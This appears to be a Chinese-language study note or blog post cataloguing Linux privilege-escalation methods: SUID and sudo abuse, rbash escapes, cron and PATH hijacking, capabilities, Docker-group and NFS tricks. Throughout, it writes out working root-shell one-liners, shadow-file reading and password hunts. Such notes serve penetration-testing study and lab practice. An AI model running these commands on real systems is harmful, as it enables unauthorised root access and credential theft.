Linux 提權總結
一. sudo 和 suid 提權
1. 何為suid

可見在權限位置有一個s權限。那么這個s的作用是什么呢?
答案是當其他用戶執行該文件時,該文件會以root的身份執行。
這里就涉及到了Effective UID和Real UID以及Saved UID
Effective UID: 程序實際操作時生效的UID
Real UID: 執行該程序的用戶的實際UID
Saved UID: 在高權限用戶降權后,保留的其原本UID (不展開說)
所以增加了一個s權限,該程序在實際運行時Effective UID就會變為0,即root的UID
2. sudo
就是能把一個命令視作root來執行,用sudo-l查看可以被sudo的命令
3. SUID與sudo提權
遍歷目錄中的suid文件
find / -perm -u=s 2>/dev/null
執行該命令,會得到所有suid文件
用sudo -l 查看哪些命令能被sudo
可利用于提權的命令
nmap
nmap --interactive
使用nmap的udp或tcp syn掃描時,需要用到root權限,所以有些管理員圖方便會直接給namp上s權限,而nmap 5.20(使用nmap -v查看nmap版本)之前有一個interactive交互模式(nmap –interactive),在nmap effective uid為0時,可以通過這個模式獲得root權限交互式命令行,成功提權
echo "os.execute('/bin/bash')" > ./shell
nmap --script=shell
全版本通殺提權,利用nmap可以執行指定文件的特點提權
find
find / -exec command
find命令自帶-exec參數,可以執行命令,若find有suid權限,那么使用exec相當于直接提權到root.
讀文件 find /path -exec {} \;
vim
vim有了suid就可以任意文件讀取了
同時也可以輸入 :shell
來獲取root shell
bash
bash -p 開啟一個新shell,suid的話自然是開啟root shell
less,more
和vim差不多,任意文件讀取,同時也可以輸入 !command 進行提權到root
exim
exim在特定版本下會有suid提權

下載exp打就完事了
二. rbash 繞過
1. 何為rbash
rbash,是出于安全性考慮的一個功能受限的bash,我在vulnhub dc-2首次接觸,他的限制性可能會有如下.
- cd 切換目錄
- 含有斜杠
/的命令, 譬如/bin/sh - 設置 PATH ENV 等環境變量
- 使用
><進行重定向 - binary 的運行. 通常 root 用戶會手動創建
/bin/binary_file -> /home/rbash_user/bin/binary_file的軟鏈接, 限制性地提供部分 binary_file 給 rbash_user 使用 在 bash 下echo $SHELL, 可以獲取當前環境是否是 rbash.
2. bypass
scp bypass
我在http://www.const27.com/2020/07/02/vulnhub-dc-2/就是用scp繞的
3. 進入命令自帶shell bypass
man,git config help,more,less,vim,vi,ftp,gdb等命令都有自己的shell,我們只需在他們各自的shell中執行/bin/sh即可
一般都是在shell鍵入!/bin/sh來bypass rbash
下面這種方法也是可行的(似乎僅vim)
:set shell=/bin/bash :shell
執行上面兩個語句,就bypass了
4 find bypasss
簡單概括就是-exec執行一下/bin/bash …
5 編程語言 bypass
python
如果python都可以用的話,那就更輕松了,os安排一下
似乎pty也行?沒試
python -c "import os;os.system('/bin/bash')"
php
php -a 進入php shell
然后執行命令:exec("/bin/bash");
perl
perl -e 'exec "/bin/sh";'
ruby
ruby -e 'exec "/bin/bash"'
6. cp bypass
直接用cp把/usr/bin里的命令復制過來就行了
7. 直接更改PATH/SHELL變量
鍵入export -p 查看該用戶的變量

如果這倆變量有w權,那么我們可以直接寫入來bypass
8. ssh bypass
原理是通過ssh鏈接當前IP的當前用戶并啟動/bin/bash
ssh username@Ip -t "/bin/bash"
三. 內核提權
用 uanme -a 查明內核版本

然后找exp打就完事了,內核提權的內容有點底層,暫時不用深入了解
四. passwd和shadow
1. 明文密碼
/etc/passwd 默認所有用戶可讀,但只有root可寫。
/etc/passwd里的用戶口令往往以x代替,其加密后的密碼會存入/etc/shadow里面,/etc/shadow默認只有root可讀。
但是有小概率情況,明文密碼就直接出現在/etc/passwd了,如果有這個情況且root密碼暴露在了passwd里,那么就可以輕而易舉提權了
2. passwd 可寫
如果/etc/passwd 我們當前用戶可寫,可以直接把root的密碼改成一個明文密碼,從而達到提權目的
3. 爆破shadow
如果/etc/shadow 可讀,我們可以用hashcat或者john暴力破解shadow文件
五. 計劃任務
1. 文件重寫
計劃任務由crontab管理,非root用戶是無法列出root用戶的計劃任務的,但我們可以列出/etc的系統任務,系統任務默認是root權限運行的
ls -l /etc/cron*
如果我們有幸有權限能更改其中一個任務指定的腳本,我們就可以往腳本里添加如反彈shell等指令,從而提權
2. 環境變量劫持
我們查看定時任務

發現定義了諸多環境變量,如果其任務有未指定絕對路徑的指令,如
17 * * * * root shell.sh
而且我們在其環境變量路徑中可以進行寫入操作,那么我們可以通過寫入環境變量的靠前路徑一個同名惡意文件從而導致環境變量劫持
比如我們在/sbin 寫入一個 反彈shell功能的shell.sh,那么就可以造成提權
3. 通配符提權
https://www.secpulse.com/archives/72965.html 總結的太好了,我都不想記筆記了(偷懶
六. 環境變量
如果我們找到一個suid權限的程序,但是我們無法完成suid提權,就可以試試搭配環境變量進行提權。
這個提權方法的思想是,找到有suid的,內部有system函數調用未指定路徑的命令的文件。同時用戶有修改自己環境變量的權限,
我們就可以通過劫持system函數里調用的腳本文件,使其指向我們環境變量里自行創建的一個同名腳本文件,那么這個我們自行創建的同名腳本文件就能以root權限運行了,如果這個腳本文件里的命令是/bin/bash,那么就相當于我們提權了。
可能有點小繞,看下面具體操作就行了。
實驗室配置:
首先在一個目錄下創建如下文件
vim demo.c

然后 gcc demo.c -o shell 將其編譯為可執行文件
然后 chmod u+s shell 為其增加suid權限
攻擊者視角:
首先使用下列指令搜尋suid權限文件
find / -perm -u=s -type f 2>/dev/null

發現可疑目標,執行一下看看

發現返回了ps命令的結果,我們可以以此猜測這個文件內部 有 system(“ps”); 這條c語言代碼。
遂可嘗試環境變量提權
我們依次執行以下命令
cd /tmp echo "/bin/bash" > ps export $PATH=/tmp:$PATH 需要修改自身環境變量的權限,但基本上都有這個權限 chmod 777 ./ps 沒這條命令會導致提權失敗 cd /home/const27 ./shell 提權成功

七. 密碼查找
這個提權技術說白了,就是去到處翻密碼
文件內查找
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
我們可以通過以上命令,指定關鍵字,在所有文件中搜索內容中有關鍵字的文件。
查找十分鐘內更改過的文件
find / -mmin -10 2>/dev/null | grep -Ev "^/proc" (不顯示^/proc文件或文件夾)
八. capabilities
capabilities 是linux2.2后出現的產物,它的出現一定程度上彌補了suid這種粗糙的權限管理機制,但是capabilities 自身也有造成提權的安全隱患
1. 簡介
capabilities 把root的權限細分了,可以分別啟用或者禁用。
在進行特權操作的時候,如果euid不是root,那么系統就會檢查是否具有執行特權操作的對應capabilities ,并以此為憑據決定特權操作是否能被執行。
如下是一些常見的特權操作及其對應capabilities

關于capabilities的管理工具有如下:
- getcap
- setcap
- capsh
- filecap
getcap 用于查詢capabilities,setcap用于設置capabilities,capsh用于查當前shell進程的capabilities,filecap既能設置又能查詢。
我們可以通過以下指令搜索設置了capabilities的可執行文件
getcap -r / 2>/dev/null
2. 實操
通過cap_setuid
cap_setuid 可以設置當前用戶的euid,我們可以通過此選項來進行一些提權。
以python為例

我們發現python3.8 有cap_setuid權限,那么我們可以用以下指令進行提權
python -c 'import os; os.setuid(0); os.system("/bin/sh")'

類似的有很多。
perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
gdb
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
php
php -r "posix_setuid(0); system('/bin/sh');"
python
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
rvim
需要支持python3模塊。
rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
vim
需要支持python3模塊。vim --version查詢,是否支持py3
vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
通過CAP_DAC_READ_SEARCH
cap_dac_read_search可以繞過文件的讀權限檢查以及目錄的讀/執行權限的檢查。
利用此特性我們可以讀取系統中的敏感信息。
如果tar有此權限,我們可以通過此來查看敏感文件內容。
tar cvf shadow.tar /etc/shadow //創建壓縮文件 tar -xvf shadow.tar //解壓縮 cd etc //進入解壓縮的目錄 chmod +r shadow //賦予讀權限 cat shadow | grep root //查看shadow文件的內容
九. Docker
Docker用戶組提權
如果我們拿到了一個Docker用戶組的用戶權限,那么我們可以很輕松地完成提權
首先我們執行如下命令
docker run -v /:/mnt --rm -it crf_web1 chroot /mnt sh
然后在其中的/etc/passwd中寫入一個root權限用戶(我這里直接無密碼了)

然后退出來,直接嘗試 su root2

提權成功
十. NFS
NFS 是一個用來共享目錄的東西,但若配置權限不當則會引發安全問題
no_root_squash
我們cat /etc/exports 如果有no_root_squash字樣,則說明root用戶就會對共享目錄擁有至高的權限控制,就像是對本機的目錄操作一樣。
也就是說,任何機器的root在此目錄上都有最高權限。
我們在獲得一臺機器的root權限后,可以通過nfs在另一臺低權限機器上實現提權
mkdir /tmp/nfs mount -o rw,vers=3 10.10.10.10:/tmp /tmp/nfs 將本機上的/tmp/nfs 掛載到共享目錄 cp /bin/bash /tmp/nfs/bash chmod u+s /tmp/nfs/bash 設置共享目錄上bash的suid
回到低權限機,執行 /tmp/bash 完成提權


